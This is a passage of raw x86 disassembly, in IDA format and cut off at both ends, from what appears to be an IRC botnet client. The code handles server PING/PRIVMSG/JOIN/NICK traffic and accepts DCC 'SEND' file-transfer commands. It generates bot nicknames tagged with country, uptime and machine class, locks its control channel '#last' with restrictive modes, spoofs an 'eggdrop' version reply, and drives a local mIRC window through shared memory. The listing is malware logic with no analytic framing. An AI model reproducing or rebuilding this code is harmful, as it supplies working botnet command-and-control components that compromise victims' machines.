= byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: .text:00401295p ; .text:00401662p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset aMessage ; "message " lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: .text:00403530p ; .text:0040353Dp ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call ds:dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call ds:dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call ds:dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call ds:dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call ds:dword_4171EC ; SendMessageA push [ebp+var_C] call ds:dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aLast ; "#last" lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset aU_U_U_U ; "%u.%u.%u.%u" lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC34 push 3B6h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call ds:dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA_0 ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call ds:dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DAA4 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED48 push offset aLast ; "#last" push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; 